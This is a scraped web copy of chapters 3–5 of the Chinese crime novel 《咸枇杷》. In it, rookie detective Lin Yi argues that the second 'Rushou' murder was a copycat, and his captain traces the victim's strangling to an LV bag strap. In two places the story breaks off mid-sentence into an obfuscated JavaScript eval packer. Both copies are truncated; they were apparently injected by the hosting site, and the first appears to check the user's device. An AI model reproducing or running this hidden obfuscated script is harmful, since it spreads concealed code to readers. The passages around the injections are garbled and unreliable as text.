《咸枇杷》 3. 生物碱01 他话音刚落,陈姨便端着两盘热腾腾的菜从后厨钻出来,远远的,看见是他,她面上的笑意不禁漾得更大。 疾步往过走来,嘴巴上还热情招呼着:“小述?诶哟,怎么来之前也不提前讲一声?要说今中午你也过来的话,姨就早早的备好——” “——没事,陈姨。” 还有几米远的距离,简述先林懿一步站起身来,迎上前去。他一只手接一个盘子,将东西从陈姨手中接过,嘴巴甜得像抹过蜜道:“不用特意准备什么,只要是您做的,我都爱吃。” 陈姨听后喜笑颜开。 亦步亦趋地跟在他身后,等他把手里的盘子都放在桌中央,才抬手摸了摸他的手臂。 几下之后,她就精准的感知出:“瘦了?这几天是不是又忙得没空吃饭?” “哪能啊,”就算是真瘦了,他也不报忧,只报喜道:“最近天天跟他们在外面吃,一天三顿,顿顿不落。那油水大的,昨天去体检医生还说我胖了两斤呢。” “胡说八道,我摸着就是瘦了。” “别光操心我了,您呢?您怎么样?前阵子跟我说下雨腿疼,最近有好点吗?不行的话我现在就约南大附院的大夫给您看看,主任,骨科专家,技术好得不得了。” 说着,他就要伸手去摸手机。 陈姨见状连忙拉住他,不让他打电话。 一个劲儿的摇头:“不疼了,不疼了,可能就是那两天没穿秋裤一下冷着了,这几天穿了就没事了,你就别打电话叨扰人家了,啊,一点点小事儿,没必要。” “这怎么能是小事呢?”简述不赞同道:“您的身体比什么都重要。” “诶哟,真不用,小述,你的好意姨心领了。如果再疼的话姨跟你讲,这次就先不要了,好不好?” “那您得跟我保证,一旦疼了立马就跟我讲。” “好好好,姨跟你保证,”陈姨摸了摸他握着她的那只手,满脸欣慰的感叹道:“这时间可真是一年过的比一年快,当年还是俩猴儿一样的小不点,一晃眼,一个已经变成大老板,一个已经变成人民警察了,真是好,真是好啊。” 这边俩人其乐融融,有说有笑,就仿佛许久未见的母子正话家长里短那般,温馨得不行。 反观另一边,插不上话的林懿早就饿得肚子咕噜作响了,趁俩人顾不上他,他悄摸拽过那盘刚出锅的饺子,往上面胡乱浇了两圈醋,三下五除二就吃了个精光。 像是生怕简述来跟他抢似的。 陈姨注意到他吃完,笑得眼睛都眯起来,问他“怎么样?小懿,今天的饺子好不好吃?” 简述不动声色地扫了他一圈,借着跟陈姨撒娇的口吻,争宠着要:“陈姨,你看他,一个饺子也不肯给我留。您疼我,您等会儿给我多煮几个行么?” 这有什么不行的?陈姨巴不得他多吃点长点肉呢,闻言,一口答应下来:“好好好,姨去给你多煮几个,30个,够不够?” “35个行吗?好久没吃您包的饺子了,我想多吃几个。” “那有啥不行的啊,等着,姨这就去给你煮。” “好嘞,谢谢陈姨。” 心里清楚陈姨是打心里把他和林懿当亲儿子疼,简述笑笑,没再说一些虚浮但没什么实际用途的漂亮话,就任由她喜滋滋的走回后厨,去给他下饺子。 等她的背影完全消失在帘子后,他才收回目光与笑容。 又一次望向对面明显没吃爽的林懿。 只是这次,视线中难免掺了些不着痕迹的探究之意:“怎么?他们最近不给你饭吃?像个饿死鬼一样。” “没,”林懿顿了下,神情不太自然的否认道:“睡太久,饿了。” “不是过几天才入职?已经去警局帮忙了?” “没,师傅前几天调去北城了,我去送了送他。” “回来去陪过爸妈了吗?” “嗯,昨天回去陪了她们一下午,看到你放的花和蛋糕了。” “原本打算等你过去一起给妈过个生日的,”简述从手边的筷子桶里抽出双一次性筷子,剥掉外面的塑料包装,一手拿一根,反复磨搓着上面的倒刺,不疾不徐地解释道:“公司临时有事,需要我在场,就回去了一趟。” 林懿眨眨眼,并没有任何不理解他的意思。 他说:“我知道,你不在肯定是有事在忙,抽不开身。” 他知道,他从来都知道的。 知道他比他更爱爸妈,经常在那边一呆就是半天一天的;知道他比他用心周到,在他不在南城的这几年里,总是会默默把爸妈的墓碑都擦拭到干净光亮,再放上她们喜欢的花和酒;更知道...... 他比他更放不下她们。 如果一命换一命这种邪术真的存在的话,他丝毫不怀疑,他会立刻选择自尽,只求换回她们其中任何一个人。 所以他从来不会怀疑他的真心,相反,他只会觉得自己做得不如他好。 无论是对父母,还是对陈姨。 但他不会明着说出口。 而是用其他方式来掩盖自己内心的真实想法,转移话题,“比如,去找你的主任医师检查身体。” 简述微怔片刻,旋即笑开。 他沉沉笑着,笑声有些闷,也有些久违的爽朗,面颊上全然是拿他无可奈何的纵容。 “你啊你,从小就实诚。” 他磨好倒刺,将一次性筷子和汤勺一起插进杯子里,提过手边的热水壶往里持续倒着烫水。烫水逐渐盛满杯子,顺着外杯壁溢向外层的碗里,直到碗也被装满,水液又溢出到骨碟中,浅浅的,凝聚成一汪小潭,他才满意的停手。 碗筷被高温消着毒,他不知道从哪掏出张手帕,细致地擦拭着双手,不忘轻声教导他:“但人这一辈子,不能只说真话,有时候适当地说些善意的谎言,会比只说真话的效果要好一万倍。对所有人来说都是。” “什么时候你能学会,那才是真正的成长。” 时间缓缓逼近12点整,在外务工的多的是没空回家吃饺子的人,没一会儿,原先还略显空荡的小餐馆就挤满了人。 乌泱乌泱的,吵杂而热闹。 陈姨脚步匆忙地从后厨把第二盘饺子端出来,搁到他们桌上,一边抬胳膊擦汗一边冲他们笑笑,来不及再多说两句话,转身又立马应了其他桌的叫喊,前去帮忙点单。 “虽然很不想说,”林懿看着简述端起那盘饺子,从烫水中抽出筷子给他往他盘子里又拨了十五个,淡声对他说:“但我有时候真挺讨厌你这副冠冕堂皇的姿态的,很虚伪。” “如果成长就是要长成你这样,那我还是宁愿一直长不大。” 这话说得不可谓不难听。 可简述听后,唇边依旧噙着淡淡的笑意。他收回手,面色不改地对他耸肩,腔调犯浑道:“讨厌我就对了。你要是喜欢我,我就该报警了。” 林懿被这么噎了下,面如猪肝:“不好意思,我就是警察。” “哦,那我真是很惨了,心疼自己一下。” 撂下这么一句玩世不恭的话,他没再主动挑起其他话题,开始安安静静的吃饺子。 时不时夹一筷子红烧肉,就是不碰那盘梅干菜炒四季豆。 吃相文雅又有观赏性。 等林懿再次埋头把饺子横扫一空,一抬头,他盘里的饺子还剩一多半。估计怎么也得再吃半个钟。他不乐意等他了,随手从纸巾袋里抽出张纸,随便一抹嘴道:“你慢慢吃吧,我先走了,记得结账。” 简述摆摆手,声无波澜的开玩笑:“刚说错了,成长的标志应该是学会主动结账,而不是天天蹭白饭。” “蹭你点咋了?”林懿站起身来,丝毫不跟他客气的呛他:“不让蹭我明天就找人曝光你,说身价超数十亿的著名企业家,慈善家简述表面一套、背后一套,私下里虐待亲弟弟,连一顿饭都不肯给吃。” 这番无妄指摘,直接给简述听笑了。 他说:“我申请验DNA。” “都说了,我就是警察,你的申请被驳回了。” “那我能申请其他吗?” “什么?” “快滚,让我安静吃个饭。” 林懿对他摆出个鬼脸,趁他有所反应前跑去后厨跟陈姨打了声招呼,便头也不回的迈出餐馆。 简述静坐在灰霾的窗边,看他沐浴着一身光亮,仿佛被周身众人簇拥着一般,自由坦荡地走在大路中,没什么含义的扯唇笑笑,半晌后,才收回目光。 恰逢此时,一直候在门口的秘书进来。 压低声音对他恭敬道: “简总,陈总已经在候客厅等您了,您看?” “让他等着,”简述完全不把他当回事儿,又往碗里加了些醋,周身气场瞬间沉了下来,极具压迫感,“我饺子还没吃完,别一会儿出去给我耳朵冻掉了,算谁的?” “好的,明白。” “......” - 刑警队的入职仪式很简单。 一帮人聚在一起鼓个掌,互相做个简单的自我介绍就结束了。 毕竟蓐收案还像把刀一样架在他们脖子上,不知道什么时候又会再次落下,在这桩轰动全国的大案没有结束前,没人还有多余的心情能提议出去吃个欢迎饭。 林懿心里也清楚。 他坐到工位上,没有说任何废话,着手翻阅蓐收案的相关资料。 截至目前为止,蓐收案一共发生了三起。 第一起是强·奸案,第二起是杀人案,第三起,就是前天在CBD发生的那起分尸案。 三起案子,无一例外,现场都出现了与十字架强有关的信息。 下意识地,整个刑警队从上到下,都不谋而合的产生了一个共同的想法:“应该往基督教信徒身上查,不然没道理摆十字架”。包括刚看完案卷资料的林懿。 这段时间,刑警队的人也一直都在不眠不休的往这个方向排查。 只可惜,竹篮打水,什么都没能查到。 看完第三个案子,再翻回第一个案子去重看时,林懿突然意识到,事情好像有哪里不对劲—— 如果强·奸案发生完就紧接分尸案,那这就是可以说得通的了,毕竟两个案子的死者都是世俗意义上作恶多端的犯罪嫌疑人。可是第二桩呢?他赶忙又抽出第二个案子来细看。 第二个案子的资料很薄,只草草一页。 上面简洁记录着,这桩杀人案的死者是一名女性,李招娣,刚大学毕业半年,死前一直在一家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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斜前方一位女警抬起头来,嘲笑他:“廖队,你人不直,就别怪话弯。” 林懿要笑不笑的扯唇,心想,怪不得父亲说刑警队长难升,合着没点病的人都当不了这队长。几秒的简短走神后,他转回身体,指尖敲了敲桌上摆着的第二个案子,示意他来看:“你们没人觉得这第二桩案子有问题么?” 廖柏清走回来,没再碰他,只虚虚的悬在他侧顶,“怎么说?” “其实我们都应该是被蓐收误导了,”他正了正神色,谈起专业有关的事情,整个人变得沉静,缜密,却像被镀了层光般耀眼:“又或许不是,我们只是被自己的自以为是误导了。” “这三个案子乍一看都与十字架有关,所以我们理所当然的会往这三桩案子都是由蓐收操刀的方向去想。但其实从这个圈套里跳出来,只看第二个案子本身,就会发现——我们或许错得离谱。” “你的意思是,第二桩案子的凶手另有其人?” “嗯,至少就目前手头有的资料来看,是这样的。” “你等等,”不等他解释个中细由,廖柏清先喊了停。他也不管这是猜测还是推理,就雷厉风行地站直身体,响烈拍拍手道:“所有人,现在,放下各自手里的事情,去大办公室开会。” “三分钟内,我要见到所有人。” “......” 说是所有人,实际满打满算加上林懿也就9个人。 其中还有2个人去出外勤了,负责侦办另一桩不相关的案子,并不参与他们的侦破行动。 7个人共聚在大办公室里,廖柏清拿着皮面本最后一个走进来,关上门,一屁股坐进右边最靠近白板的位置,将白板笔递给林懿,示意他可以开始对所有人讲述他的大胆推断了。 林懿站在白板前,接过笔,对他点点头。 旋即,从善如流地开始自己的讲解:“各位,请看手边第一桩案子和第三桩案子的现场,有没有发现什么共性?” “这两桩案子,死者的死状都很凄惨。” 有位女警率先出声回答道。 就是方才调侃过廖柏清的那位,林懿对她还有印象,叫宋如鸢,是个很机灵、很漂亮的女孩,据说是他们这儿的队花,“而且凶手都不像是激情作案,更像是在完成某种特定的仪式。” “是的,”林懿颔首认同,“从现场的布置来看,这两桩案子的凶手都指向一位沉着,理智,有着自己独特坚持的人,这种人,并不会随着别人的想法去轻易改变自己的做法,很固执。” “但是各位再看第二个案子,你们觉得这桩案子的凶手是怎样一个人?” 沉默片刻,一个身宽体胖的男生说道:“潦草,随意,不讲究?不知道我说得对不对,反正光看现场,就给我这么一种感觉。” 他叫李亦鸣,人送外号:小胖。 林懿眨眼,再次颔首道:“小胖说得很对。” “如果我的第六感没错的话——” “这桩案子,从头到尾,都是一场没有预谋的激情杀人。事后凶手害怕被发现,所以情急之下,选择摆放十字架嫁祸给蓐收。” 4. 生物碱02 此言一出,四座皆惊。 就连廖柏清手中正转出残影的笔都被吓到,“嗒啦”一声掉落在桌面上,发出清脆的声响。 “不好意思,我打断一下,”他抬手,瞳孔中还嵌些没完全消退的迷茫在。下一秒,说出来的话,却让别人也都惊掉下巴:“你的第六感,有什么依据吗?” “没有。” “……” “但我感觉还挺准的。” “为什么这么说?” “嗯…之前有个经历可能能让你参考一下。小时候跟我爸去湖边玩,附近有个废弃工厂,我总感觉那里面阴森森的,就跟我爸说:爸爸,那里面有死人,我爸不信,最后回家的路上去看——” “——里面是三具被裹成茧的、早已腐烂的女尸。” 他还没说完,廖柏清就门儿清地接上:“我听说过那个案子,当初还是林队一手侦破的,我一直以为尸体是他发现的,没想到是你。” 提起已故的父亲,林懿的情绪肉眼可见地低落下来。 “嗯,”他敛下眼睫,将那双鹿眸隐在阴影之下,不知道在想些什么:“不过我也只是偶然一下撞对了罢了,那桩案子能水落石出全靠父亲和大家,跟我没什么关系。” 也是嘴快完,廖柏清才后知后觉地想起—— 十多年前,发生在林队,林懿父亲身上的那桩惨案,到现在,这么长时间了,凶手都还没被他们抓到,依旧逍遥法外着。 而独自承受了一切的林懿,却选择继承父亲的遗志,坚定地,不曾动摇地,想用自己的意志与能力,去守护这座城市中其他人的幸福,去给那些跟他一样遭受过无妄之灾的人一个答案。 答案可能会错,但那也一定是好心的产物。 想到这儿,廖柏清捡起笔来,没有刻意对他表达歉意,而是坐直身体,正色喊道:“林懿。” “嗯?怎么了?” 林懿撩起眼皮对上他认真的眸。 “帮帮我吧,用你的第六感,”他眼睛一眨不眨,直晃晃地盯着他,一字一顿地说道:“就算最后是错的,我也会跟你一起承担。” “还请你毫无顾忌地去相信自己,也在之后的日子里,坚定地信任我。” “我相信,迟早有一天,答案会水落石出。” “因为有我们的存在。” 半上午的阳光盛烈,灿烂,久违的没有被一丝乌云所遮挡,透过大窗户劈头盖脸地打进来,轰轰烈烈地照在每个人身上,晒得斗气与血液都不禁沸腾。 林懿逆着光芒,直视坐在烈阳之下的廖柏清,良久都没再说话。廖柏清同样也在注视着他,他的眼中,除了坚决之外,只剩一种类似于破釜沉舟的勇猛与果敢,光是看着,都让人觉得心潮澎湃。 又与他对视一阵,林懿率先眨眨眼。 他第一次咧唇对他展露出笑容,是发自肺腑的:“当然。我们的职责就是为生者权,替死者言,惩恶扬善,捍卫正义。” “我们也许会迟到,但绝对不会缺席。” “我始终这么坚信着。” 两人就这么有来有回的,你一句我一句地互相对对方说些斗志昂扬的话语,越说越兴奋,越说越激昂,好似不着痕迹地在周围用金光铸起一道坚韧的屏障,只把他们两个人容纳了进去,却把其他人都阻挡在外面。 令外面的人深感莫名其妙,甚至是无语。 尤其是宋如鸢。 宋如鸢确实无法共情到他们这种类似于犯中二病的亢奋,她清清嗓子,面无表情地打断他们:“二位,二位,我知道你们很燃,但你们先别乱燃,好吗?” “我们一没抓住凶手,二不知道蓐收是谁,可能是我钝感力比较强吧,反正我不明白你们两个到底在瞎乎兴奋什么。” 一句话,给两人灰落落地打回现实。 林懿偏开脸庞,尴尬的站在原地直抓头发;廖柏清挠挠后脖颈,不太自然的冲他们挑眉。 试图用耍帅来掩盖刚才的窘态。 还是小胖比较委婉。他扯了扯宋如鸢的袖子,挤眉弄眼地暗示她别再说些令两人更为难堪的嘲语了,见两人还陷在自己的抓马之中无法自拔,他故意蹬腿,让椅子腿在地面上磨擦出一道刺耳而有存在感的尖响。 霎那间,会议室内所有目光都一齐汇聚到他身上。 “不好意思啊,声音太大了,”他睁着眼睛说瞎话,面上没有丝毫的抱歉之意,反而大大咧咧地自说自话道:“内个,刚刚我们说到哪儿了?” “哦对,第二个案子的凶手另有其人,那是不是就意味着,我们应该重新去看一遍第二个案子的现场,看看还有没有什么之前被我们遗漏的线索了?” 台阶都已经铺到脚尖了,不下白不下。 廖柏清“啪”一合笔记本,安排道:“队花,再把李招娣的社会关系仔细盘查一遍,这半年来,跟谁说过话,见过谁,要事无巨细;石斑鱼,李招娣的父母和大学那边交给你去摸;小胖,带俩物证,跟我和林懿一起去现场。” 三人异口同声:“遵命,廖男模。” 没被点到名字的一男一女不甘愿被落下,也想参与进来,“那我们呢?也给我们派点活呗”,廖柏清跟在林懿身后往出走时,想了想道:“你俩就留在这,看看蓐收案还有没有我们漏掉的线索。” “就这样,各自就位,干活。” “yes,sir!” 小胖脚步生风地去物证科里随机抓了两个精壮的男生出来,一起跟着林懿走出市局,廖柏清一蹦一跳地下楼梯,指间还吊儿郎当地晃着把警车钥匙。 皮衣外套配紧腿裤和马丁靴,一身沉闷又挺阔的黑,往开拉驾驶门时,凭空给林懿一种老年人骑摇摇车的割裂感。坐在副驾里,往现场开的路上,他频频扭头瞧他,眼神过于明显,让他想忽视都无法做到。 红灯变绿,车子瞬间飞出去,廖柏清哼着歌,毫无征兆地问他:“一直看我干嘛?要爱上我了?” 林懿闭眼:“......” “你想多了,”再睁开眼时,他毫不拐弯抹角道:“我只是在看你有没有超速罢了。虽然知道人一定会死,但我还不想死得这么莫名其妙。” “呵,哥开车,你就放你的心吧,谁出事我都不会出事。” 廖柏清挑了下右眉,自负道。 坐在后面的小胖听到,扒住林懿身后的硬靠枕,凑过来悄悄给他透底道:“你看他开得快,实际他比谁都惜命。” “这家伙,没进咱市局之前纯属是个混世魔王,爹开投资公司,妈是上市高管,他每天除了在外面花天酒地,就是窝在家里喝一堆奇奇怪怪的补品,等着继承诺大家业呢。要不是他妈实在看不下去了,找人把他塞进来想给他找点事干,他现在还指不定在哪偷摸炼丹呢。让他现在死,他才舍不得呢。” 这段话的信息量属实有点庞大,林懿没忍住扭头,一时都不知道该从哪开始吐槽:“怕死还进刑警队?” “他一开始是情报科的,没来咱重案科,后来据说,有个大案一直没能侦破,是他帮忙摸到人的,当时的队长因为这事儿很欣赏他,然后就破例把他从技术科挖过来了。到现在,好像满打满算也就3年出头吧。” “3年?就成队长了?!” “嗯哼。这小子身上真有点狗运在的,别人都发现不了的线索,到他那就是轻而易举,还往往就是最重要的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嗯,辛苦了,”廖柏清熟门熟路地拉起警戒线,招手示意他们几个进去,话却是对两个守卫说的:“我们再进去看看现场。正好中午了,这里有我们守着,你们就先去吃饭吧,半小时内回来哈。” “好的,谢谢廖队,注意安全。” 两个守卫结伴往公园外走,四个人也都从他拉起的警戒线下钻了进去,前往发现尸体的那处角落。廖柏清警惕地扫视了周围一圈,总感觉有道目光正阴戳戳地钉在他身上,可仔细环视之下,也没能发现什么异样。 他笑着摇摇头,暗嘲自己最近真是被搞得有点风声鹤唳了,半蹲身体一绕脑袋,钻进警戒线中,跟在他们身后一齐往里走。 在他没能看到的地方,小山头里匿着两个人。 一站一蹲。 蹲着的人身形瘦小,却满身肌肉,像羚羊般矫健锐利,“这条子也还行吧,算是个可塑之才。我们藏得这么好,其他人都没感觉,就他还有点反应。” “呵,”旁边那人站着,人高马大,身上穿着板正的警服,双手环胸,一脸不屑地撇嘴道:“是骡子是马,拉出来给你遛遛就知道了,反正最多再给他们三天时间,三天一到,这案子要还是破不了,就由我们来了结。” 无论是体型,还是言语,都像极了黑熊。 看起来就很不好惹。 羚羊偏脸看他:“这次不再给他们点提示了吗?” “给了也破不了,一帮吃干饭的蠢蛋们,”一提起这个,黑熊就不免暴躁道:“最后不还是要靠我们来收拾烂摊子?” “这是老大的意思?” “废话,他不发话,谁敢乱动?走了,今中午我想吃点好的奖励一下自己,麻辣烫,怎么样?” “要去你自己去吧,我才不吃。” “嘁,不懂美味。” “......” 5.生物碱03 公园的中间一圈,靠近植被茂密的地方基本都会被贴心的安置长椅,方便年轻人坐着晒太阳,也能让过来锻炼的老人们随时休息,调整状态。 李招娣被发现时,就平躺在最南边角落的一把长椅上。 姿势安详,表情狰狞。 在之前的走访调查中,有位耄耋之年的老人说他曾经在这个位置看见过她,不过也就是远远的虚晃一瞥,当时他正忙着追自己到处乱跑的小孙女,也没太看仔细,更没往凶杀案上面想,见她平躺着,脸上还盖着衣服遮阳,就以为她在晒着太阳睡觉。毕竟这里有很多年轻人都爱用这种方式补充能量。 再之后,就是10月13号接到的那通报警电话了。 打电话报警的是一对小情侣,据说她们就住在离公园不远的那幢小区里,那天下午,两人正好都休息,就想着一起出来散散步,吸收一下大自然的能量,好扫去这么多天连着加班的疲累。 走着走着,两人不知道说起什么来,就开始打闹,追逐,女生跑到李招娣躺着的这把长椅边时,不小心蹭到了盖在她头上的衣服,令其掉落在地上。女生听到动静,本想转过身去给她捡衣服,并诚恳表达歉意,却不想,看清的那个片刻,给她吓了个半死—— 李招娣就像一滩烂泥般瘫在长椅上,裸露在空气中的皮肤上到处长着暗紫色的斑点,表情惊悚,眼球凸出,脖子上还有一道极深的勒痕。 一看就不像身体机能还正常的活人。 男生把女生护进怀里,好生安抚了半天,等她情绪稍微平复了些,他才独自走上前去探了探李招娣的鼻息。 这一探,就吓得他赶忙报了警。 接警的恰好就是廖柏清。 “勘察完现场,李招娣的尸体被带回警局,本来想交给法医解剖的,但她母亲不愿意,在警局哭闹了好久,最近才消停。但还是不同意解剖,”廖柏清一边小心翼翼地搜证,一边给他讲述案子的具体情况:“后来我让小胖去查监控,试试看能不能从监控录像入手,结果你猜怎么着?” 林懿蹲在长椅前,手指虚空摸过李招娣躺过的地方。 表情庄重,像是在轻轻安抚她的灵魂。 没有片刻犹豫,他就回答道:“你们什么都没能调到。我来的时候看过了,这条小路上只有一个监控,还是断掉的,看那个状态,估计是好久之前就被无意弄坏了,只是一直没人来修。” “而且如果我没记错的话,10月11号正好是台风经过的日子,那两天,南城连着下暴雨,很多本该被发现的线索也都被冲干净了。” “bingo!”廖柏清打了个响指。投向他的目光中,漾着显而易见的欣赏:“看不出来,你记忆力这么好?” 连一个月前的天气都能记得这么清楚。 简直可以说有超能力了。 “不是记忆力好,只是对那两天记忆犹新罢了。” “嗯?发生了什么?说来听听?” 林懿不肯说,摇摇头:“没什么,别问了。” 那些他无法忘怀的记忆却不给面子,明晃晃地映在眼中,像走马灯快速闪过—— 家里那两位活宝,自从都退休以后就开始一天一小吵,三天一大吵,好像不吵两句日子就过不下去。10月11号和12号恰好过台风,恰好下大暴雨,恰好两人不知道又因为什么事情大吵起来,甚至都互相蹦出离婚这个词。那时,他独自窝在房间里,戴着耳机,把声音调到最大,可还是会有隐隐约约的争吵声顺着耳机缝隙钻入他的耳蜗,他烦得不行,想躲出去静静,却又因为天气原因不能这么做,只能被迫听她们从半下午一直吵到晚上。 然后第二天一睡醒,又继续。 搞得他神经都快衰弱了。 那个时候,其实他挺想问问师傅警局能不能返聘,如果能的话,赶紧想办法把叔叔返聘回来,既能给刑警队壮大力量,又能让他的耳根子变清净,简直堪称是一石二鸟的奇招。 但理智又阻止了他这么做。 叔叔大半辈子都在刑警队里鞠躬尽瘁,就跟父亲一样,一有案子就不眠不休,茶饭不思的,连家都顾不上回。就算吃饭,也喜欢用一些高盐高糖的食物迅速补充体力,久而久之,三高数值居高不下。 就连医生看到报告上的数据都目露惊恐。 再让他回来刑警队,指不定哪天就要出事,还是算了,吵就吵吵吧,大不了他—— “对了,廖...柏清,问你个问题。” “嗯,你说,”廖柏清站在阴影里,头都不抬的应道:“我听着呢。” 林懿蜷缩指节,收回手,“我听我师傅说,咱们刑警队有免费宿舍的是吗?现在里面还有空房间吗?我想申请搬过去。” “你要搬出来住?” 他诧异地注视过来,表情不解道:“怎么了?是新家不舒服吗?还是——” “——不是,都不是,别瞎猜了。如果一定要说的话,男生长大以后难免会有点羞于启齿的、不能让父母知道的秘密,我也是这样,所以我想搬出来自己住,有点自己的私密空间。” “哦,”廖柏清静静听完,语出惊人道:“不就是撸·管吗?还说那么委婉。” “?” “不是。” “不是啊?总不能是带女孩子回家约·炮吧?林懿我告诉你啊,约·炮在我这儿是违法的,小心我——” 林懿着实没忍住。 他面色血红,恼羞成怒地冲他吼道:“——廖柏清!你有病啊!” 伴随他的一声大吼,栖息在树杈间的鸟儿纷纷扑棱着翅膀飞走,生怕晚点跑就会遇到危险。 不远处的小胖回头看他们一眼,摸不着头脑地又转了回去。 嘴巴里不知道正振振有辞地吐槽他什么。 见捉弄成功,廖柏清从闷闷地笑变为爽朗大笑,他胸膛剧烈起伏着,连带着双肩都不停颤抖。看起来愉悦极了。 笑了许久,趁林懿彻底生气前,他适时收敛起笑意,体贴的提议道:“宿舍早就申请满了,一时半会儿估计也空不出来。不过我家卧室很多,你可以搬过来跟我一起住,不收你房租,也不会在你撸·管的时候打扰你,怎么样?” “都说了不是撸·管。”林懿没招了,有气无力地辩解道:“还是算了吧,就算你家有三个房间,我搬过去,也总会在一些奇奇怪怪的地方打扰到你,干脆我自己——” “——林懿。” “啊?” “我发现你这人对有钱这个词没什么概念。” “我有啊,我知道你很有钱,刚刚小胖在来的路上已经跟我说过了。” “然后你就以为我一个人住三居室?” 廖柏清不爽道。 “不是吗?”他家三口人才住80平的两居室,说他一个人住100多平的三居室很委屈他吗?林懿挠挠头,俨然一副见解受限的呆愣模样,“那...四居室?” 廖柏清被气笑了。 一时不知该说他没见过世面,还是以前的日子过得太苦了。 他双手叉腰,发誓一定要找个机会好好让他知道下,什么才是真正的有钱:“你觉得一层里有四个卧室就算很大了吗?” 林懿点点头。 “这种玩意儿,我家有四层,还不包括负二层的私人游泳池和负一层的私人电影院。你会打扰我?你能在里面碰到我才是见鬼了。” 他的话音落下,林懿瞠目结舌,嘴巴张大成“o”型。 没多思索,他就选择了抱紧他的大腿,去享受以前没机会见识的好生活:“我今晚下班就搬,行吗?你方便吗?” “方便,晚上下班我开车去帮你搬。” “不用不用,我东西不多,两个箱子就能装下,我自己来就好了,就不用麻烦——” “甭废话了,说了我帮你搬就是我帮你搬,”一瞬间,他整个人都变得强势而凌厉起来。跟他说完,他招手向远处喊人:“物证!过来一个!这里有新发现!” 林懿再次被他惊呆:“?” 暗自羡慕道:这就是狗运吗?他也好想要啊...... 不远处的两个物证和小胖听到他的呼唤,小跑步径直跑过来。廖柏清指指他刚发现的那片细小的、隐蔽在草里不容易被发现的皮质碎片,指示他们装进物证袋。 趁物证去装碎片,他才有条不紊地向他们解释:“都看过李招娣脖子上的勒痕了吧?那其实并不是什么特质的绳子,而是lv一款包的包带痕。” “原来我还没敢确定,直到看到这个掉皮,我才确定——李招娣那天不知道因为什么原因,应该是背了个正品的carryall来到公园赴约,然后被凶手随机选作凶器对她行凶了。” “而这里,就是第一案发现场。” 其余四个男生:? 他在说什么?听不懂,好高深啊。 廖柏清闭了闭眼,表情有些微微嫌弃,就差明着说他们笨了。 但考虑到他们家境一般,也都还是单身狗,过去可能没什么机会接触到lv的包,他还是耐下性子道:“lv的全称是路易威登,算是奢侈品里包包价格最低廉、最耐用的牌子。一般情况下,刚出社会的男男女女们手头攒了点钱,想要选一款能为自己撑场面的包的话,不出意外就会选择这个牌子。” “但就算它是奢侈品里比较便宜的,一只包也得动辄两、三万块了,所以市面上有很多的高仿,简而言之就是假货。想要鉴别真货与假货,其中有一个最简单的方法,就是看它会不会掉皮,会的就是真,不会就是假,不完全,但是准确率在80%往上。” “而她脖子上的那条勒痕,就是出自lv的一款包,型号叫carryall,空间很大,里面能装很多东西。” 这下,他们几个都听懂了。 意思就是:李招娣遇害时背过一只包,叫carryall,是真的,很贵,还爱掉皮,但在他们这几次勘察现场时,都没发现过那只包的踪影。 所以只要顺着包查,在谁手里谁就是凶手。 这么猝然一听,案件好似有了重大线索,实则依旧很难推进。林懿脑袋转得很快,立马推演出之后有可能发生的两种结果:“如果凶手知道这个包的价值,选择在二级市场里面出手换钱,我们还好查点。但如果ta不知道,就留在自己手里呢?” “那这条线索就作废,”廖柏清耸肩摊手,明明自信心应该被打击到一点,他本人却异常的乐观开朗道:“我们继续去查其他咯。” 这种乐观心态,也感染到了身边的所有人。 小胖临回到刚刚那个地方之前,好奇问道:“欸,廖男模,我很好奇,昨天下班前你还什么头绪都没有呢,怎么回去睡了一觉,今天就知道凶器是只包了?还连型号都说得这么仔细?” “想知道啊?你猜。” “我不猜,你快点说,说完我还要去摸其他区域呢。” “其实很简单,”廖柏清语气有种欠而不自知的优越感,不是故意的,但比故意的更令人生气:“早上我出门的时候正好碰上家里的做饭阿姨,她刚买完菜回来,用来装菜的包就是我妈给她的carryall大号,然后我就对上了。” 林懿:“?” 炫富可耻,好想揍他。 小胖无比后悔自己的嘴快,暗道一句真是好奇心害死猫,忍了又忍,还是没忍住阴阳怪气了他一句:“难怪说便宜呢,合着是家里买菜阿姨背的,那我就又要好奇了,你妈平时背啥?” 廖柏清想了想,用一种稀松平常的语气道:“爱马仕。她有一只很喜欢背的,是个birkin30,熊猫拼鳄鱼皮,平常去上班都背这个。然后出席那种比较重要 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四人又提起了干劲儿:“好耶!廖男模万岁!” 就这样,五个人又分头摸了半个多小时,才碰上头。除了廖柏清之前发现的那块皮质碎片以外,一无所获。 这已经算是一个比较好的结果了。 在来之前,他们都做好了跟前几次一样,完全没有新发现的准备了,猛地发现一个新线索,不管后续推进得难不难,对他们而言,都是一个全新的希望。 走出现场时,两个守卫已经吃完饭回来了,见他们出来,极有眼色的帮他们拉起警戒线。 廖柏清带着四个人上车,直奔那家淮阳菜馆。 馆子看着不大,但是里面装修得很新,小二层,据说是之前开在其他地方很久的老店,恰逢那边拆迁,老板也赚了点钱,于是就搬到了现在这个地方,开了这间比之前大两倍的店。 菜单上标着的每个菜的价格都不贵,基本都是30-50块,极少数用料多而贵的菜才会达到三位数,但也只是小三位数,并没有太离谱。 林懿以为这一餐不会太贵,放心吃着。 却不想,等廖柏清结完账,他从老板手中接过账单来看时,骤然两眼一黑。 “735?”他指着账单最后的实付金额问身边的男人:“老板是不是算错了?我们也没点多少菜啊,怎么会这么贵?” 那架势,宛若只要廖柏清点头,他就会立即转回店里去跟老板理论。 廖柏清拦住他,操着一脸无所谓的笑,跟他讲:“菜不贵,估计也就三百多点,贵的是我们喝的茶。我特意跟老板要的碧螺春,怎么样?还挺好喝吧?” 林懿不敢苟同。 他这辈子喝过的最贵的茶,就是死者家属曾送上门表示感谢的金骏眉,据叔叔说还不算什么太好的品质。他感觉今天喝的跟那个时候喝的也没什么太大区别。 如果一定要说的话,就是一个泡出来颜色是红的,一个泡出来颜色是绿的,除此之外,在他眼里都是一个样。 